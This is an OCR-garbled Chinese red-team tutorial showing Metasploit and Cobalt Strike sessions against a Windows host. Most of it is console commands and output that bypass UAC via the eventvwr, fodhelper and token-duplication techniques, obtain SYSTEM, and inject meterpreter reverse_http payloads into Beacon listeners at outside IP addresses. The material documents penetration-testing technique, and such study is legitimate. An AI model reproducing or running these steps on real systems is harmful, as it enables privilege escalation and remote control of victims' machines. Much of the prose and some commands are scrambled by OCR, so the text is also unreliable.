ars to be vulnerable.
10.74.185.142 - exploit/windows/local/bypassuac_sluihijack: The target app
ears to be wvulnerab
10. 74 185.142 - exploit/windows/local/msl6é 032 secondary logon handle priv
3 vice is rupning, but could not be lelddtrd
= ter = |background
Backgrounding session 1.
exploit( ) =|use exploit/windows/local/bypassuac eve
exploit( IEN |

MS08067 TEAM
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msf5 exploit( ) > show options

Module options (exploit/windows/local/bypassuac_eventvwr):

Name Current Setting Required Description

SESSION

Exploit target:

Id Name

0] wWindows x86

msf5 exploit( ) > set SESSION 1
SESSION => 1

msf5 exploit( ) > show options
Module options (exploit/windows/local/bypassuac_eventvwr):

Name Current Setting Required Description

SESSION

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thre
ad, process, none)

LHOST 192.168.113.131 yes The listen address (an interface may be
specified)

LPORT 4444 yes The listen port

Exploit target:
Id Name

0] Windows x86

exploit Z JE AMN e FREM H T N IIXANTUE, M HibE . 1X 0] e BRI
M eventvwr 2K BypassUAC 2 J&, FEINELEL FiE MR B —L, HH5estiog/bl
K.
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&
MR EfEA =TV
e |m BHIE
] FH=ES @i
r EENINE
n Windows BE
RIEREFEEAE
4 TR

loit(

EE1(H)

| -
sESETmIEN

S rmESE, BE
S Tt AR »/

| sESnES - |
IFEEE "Microsoft-Windows-W

< >
Elin=r =i gak) -
=i F=F
< >
H=EE -
A== "
< >

B
SEESE (&)
AFEENEE..
P ARSEVE.
SASEVIE..
EREIE— A,

) = exploit

Started reverse TCP handler on 192.168.113.131:4444
UAC is Enabled, checking level...
Part of Administrators group! Continuing...
UAC is set to Default

BypassUAC can bypass i continuing...

Executing payload: C:\Windows\SysWOWe4\
eventvwr.exe executed successfully, waiting 1@

xecute.
Cleaning up

strv _kevs

Exploit completed, but no

PR ELRIR, 228 exploit/windows/local/bypassuac_fodhelper:

":’
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msf5 exploit( ) > use exploit/windows/local/bypa
ssuac_fodhelper

msf5 exploit( ) > show options

Module options (exploit/windows/local/bypassuac fodhelper):

Name Current Setting Required Description

SESSION

Exploit target:

Id Name

0 Windows x86

msf5 exploit( ) > set SESSION 1
SESSION => 1

msf5 exploit( ) > exploit

Started reverse TCP handler on 192.168.113.131:4444

UAC is Enabled, checking level...

Part of Administrators group! Continuing...

UAC is set to Default

BypassUAC can bypass this setting, continuing...

Configuring payload and stager registry keys

Executing payload: C:\Windows\Sysnative\cmd.exe /c C:\Windows\System32\fodh
elper.exe

Sending stage (180291 bytes) to 192.168.113.1

Meterpreter session 2 opened (192.168.113.131:4444 -> 192.168.113.1:51444)
at 2020-01-19 14:43:19 +0800

Cleaining up registry keys

meterpreter >

A L RIEEA ) 1

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > shell whoami /all

Process 1316 created.

Channel 1 created.

Microsoft Windows [®i4 10.0.17134.1184]

(c) 2018 Microsoft Corporation@é@666606eGEGEHY

C:\Windows\system32>}]

V14

Wi

-}
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H I #e]—1 BypassUAC 1 Beacon I/ CS HI 5 #%

meterpreter > background
Backgrounding session 2...
msf5 exploit( ) > sessions -1

Active sessions

Id Name Type Information Connecti

meterpreter x86/windows NT AUTHORITY\SYSTEM @ A014802-PC 192.168.
113.131:4444 -> 192.168.113.1:51444 (10.74.185.142)

msf5 exploit( ) > use exploit/windows/local/pay
load inject

msf5 exploit( ) > set PAYLOAD windows/meterpreter/re
verse http

PAYLOAD => windows/meterpreter/reverse http

msf5 exploit( ) > set DisablePayloadHandler true
DisablePayloadHandler => true

msf5 exploit( ) set LHOST 144. .70

LHOST => 144.168.57.70

msf5 exploit( set LPORT 50050

LPORT => 50050

msf5 exploit( set SESSION 2

SESSION => 2

msf5 exploit( exploit

BATHEERIRINF], 152 M4 FH) Cobalt Strike B U 33X N 5 1] 24 (]
Beacon Shell Wg?

Running module against A014802-PC
Spawned Notepad process 37432

Injecting payload into 37432
Preparing 'windows/meterpreter/reverse http' for PID 37432

WU I FRASLZ B T W@, B AR 1port MM DB 1, FRAE M L FEAE R 2 1Y
MSF shell #.[1] CS Beacon Shell 7775, ‘&5 % F & 50050, {H & A+ —E 5
AKX, ELFRE] ) R A2 reverse_tcp MRS A 1, XA 88 € AT REHAE
50050 ¥ 1 0, HAIBAIRSS 28 #0 G 7 A ? Br DAFRIR A SE 5 AR S i N B4
[ 2] 50050 ¥ [T, B AEAhHE T BA IR 2528 09 BR N v 128 1

M2, BEHWE lport, fHiH 5 windows/beacon_http/reverse _http T 2% i it
BPGIVE

V14
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EventLog X | Listeners X | Listeners X

name payload host port beacons

msf windows/foreign/reverse_tcp 1+ 70 8080

MSF_VPS windows/foreign/reverse_tcp 1 37 8080

testl windows/beacon_http/reverse_http 144 70 14 70

[ Add H Edit H Remove H Restart H Hely }

msf5 exploit( ) > set LPORT 70
LPORT => 70

msf5 exploit( ) > exploit

Running module against A©14802-PC

Spawned Notepad process 40208

Injecting payload into 40208

Preparing 'windows/meterpreter/reverse http' for PID 40208
msf5 exploit( ) > i

SR 5 IR HT Beacon K|, J& pid N 40208 HIFF Beacon Mi:

®
CobaltStrike View Attacks Reporting Help

BSo B U Ge Pa Ba
al i

root@kali: ~

H#% Bypass | UAC. R AFKH I payload /&
exploit/windows/local/bypassuac_fodhelper, Hf/&—1~%% UAC [ payload, FfT
PLIXA™ Beacon #& EL#541d T UAC ).
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FAKA, S MSF 8L, AR5 25302 75 AT LU CS N & () BypassUAC 77k
uac-d11 FIFH I FEFEFIBEA UAC 3% . {H25HAH MSF $#2 B8R 55X AN i ,
R AL U B $E ] MSF BypassUAC — 5 £ iz

M2 FRix B A& B MSF >k CS Beacon shell bypass UAC H#AE D IR 2
1. FRIEXHXAS CS Beacon shell JRA4:—4~F] MSF

2. f# ] MSF Bypass UAC

3. gfi[a]—~ Bypass UAC f] Beacon shell #] CS

MG FR A8, mR R E LA E B PR S S AR E K BypassUAC
EERAE CS W BypassUAC FR[FI SR UL | —A> Github i H, FEEASH, 5%t
FHIX ol ZE B (1) 77 v 1 26 I

0x05 {# F uac-token-duplication 1 Bypass UAC
B clevate — O *

Attempt to execute a listener in an elevated context,

Listener: Etestl v” Add l

Exploit: [uac—tnken—duplicatinn - l

[ Launch H Help l

B R IFE, AN-RAIRABEE RS T —A> pid 8 31820 ¥ Beacon. &
%*JE)JJIIDWJ
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beacon> elevate wac—token—duplication testl

[*] Tasked beacon to spawn windows/beacon_http/reverse_http (144.168.57.70:70) in a high integrity process (token duplication)

[+] host called home, sent: 3545 bytes
host called home, sent: 76306 bytes
received output:

Success! Used token from PID 10136

B — Tt niE A A 1L UAC:

beacon> shell whoami /priv
[*] Tasked beacon to run: whoami fpriv
[+] host called home, sent: 43 bytes

[+] received output:

1FHRIER

1A " Wk

SeShutdownPrivilege XinFEH ey s
SeChangeNotifyPrivilege 530RE ThiSEY 2EH
SeUndockPrivilege WIS FRFHEINL AL

SeIncreaseWorkingSetPrivilege EMHBIET {F£E 23
SeTimeZonePrivilege [=aFe) o ey s

\.
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hell
Microsoft Corporation. {REEPTETYF].

ell http=

rhoami /priv

11

1leg
_-'mh o 1 1 cL 1

XA FR A R shell 3% A ik UAC, WAFIIER A, IXFEIE, 52 R 77
fE Winl0 (F 360) AR,

0x06 =45

M45ki, Cobalt Strike N & )P Bypass UAC 3%, MRASE R :
e uac-dll: F[% UAC, XJiEH /251 Beacon Shell A~5ZH

o  uac-token-duplication: |32k

{E 2 7] LA BBl MSF ) post/multi/recon/local_exploit_suggester Fitik
Bypass UAC, M2
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4T UAC:

B 2B 5, W34 Administrator 7] DA% UAC; HE#GSE, ARl 2iEd 52
Lo

e tn 3R i B T 451 Beacon 1, xue iXNEEH 7 @ T4 B G 4H

beacon?> net localgroup administrators

[*] Tasked beacon to run net localgroup adminmistrators om localhost
[+] host called home, sent: 87102 bytes
[+] received output

Members of administrators om \\localhost:

A014802-PC\Administrator
ESG\Domain Admins

Iue

{H 2 H# T UAC:

%] o Ty e

[4014802-PC] 1024 lass: 418ax

Windows 7 L5 ERIAAJE F Administrator FH Pl iH 2 IX AR K, AR UAC &5T
B -

0x07 J5 4%
KT UAC 252> 5 2k

ol
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1. UAC Zft4

2. AP AfEOL N & I UAC

3. EFXARFEI R GhA B4 IEH 5% UAC

4. EEXIAIEN RGURAR B4 GRS UAC

5. %t UAC Z Ja B4 %A 34T H 2.1 payload

FHh CS (XA Elevate FEBUBLELIE A A runasadmin 174, X Elevate Exploit
AL EAT RS AR RY 78, XA L E TG, fiE R 7 il .

EEPE=E

1. cobalt strike 1 metasploit &5& M (HAHILIE shell 21F), KEMW, BI%4E,
2019 £ 5 1 27 H

2. Cobalt Strike mannual 4.0, Cobalt Strike B /¥

#
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http://www.freesion.com/article/22873048/
https://www.cobaltstrike.com/downloads/csmanual40.pdf

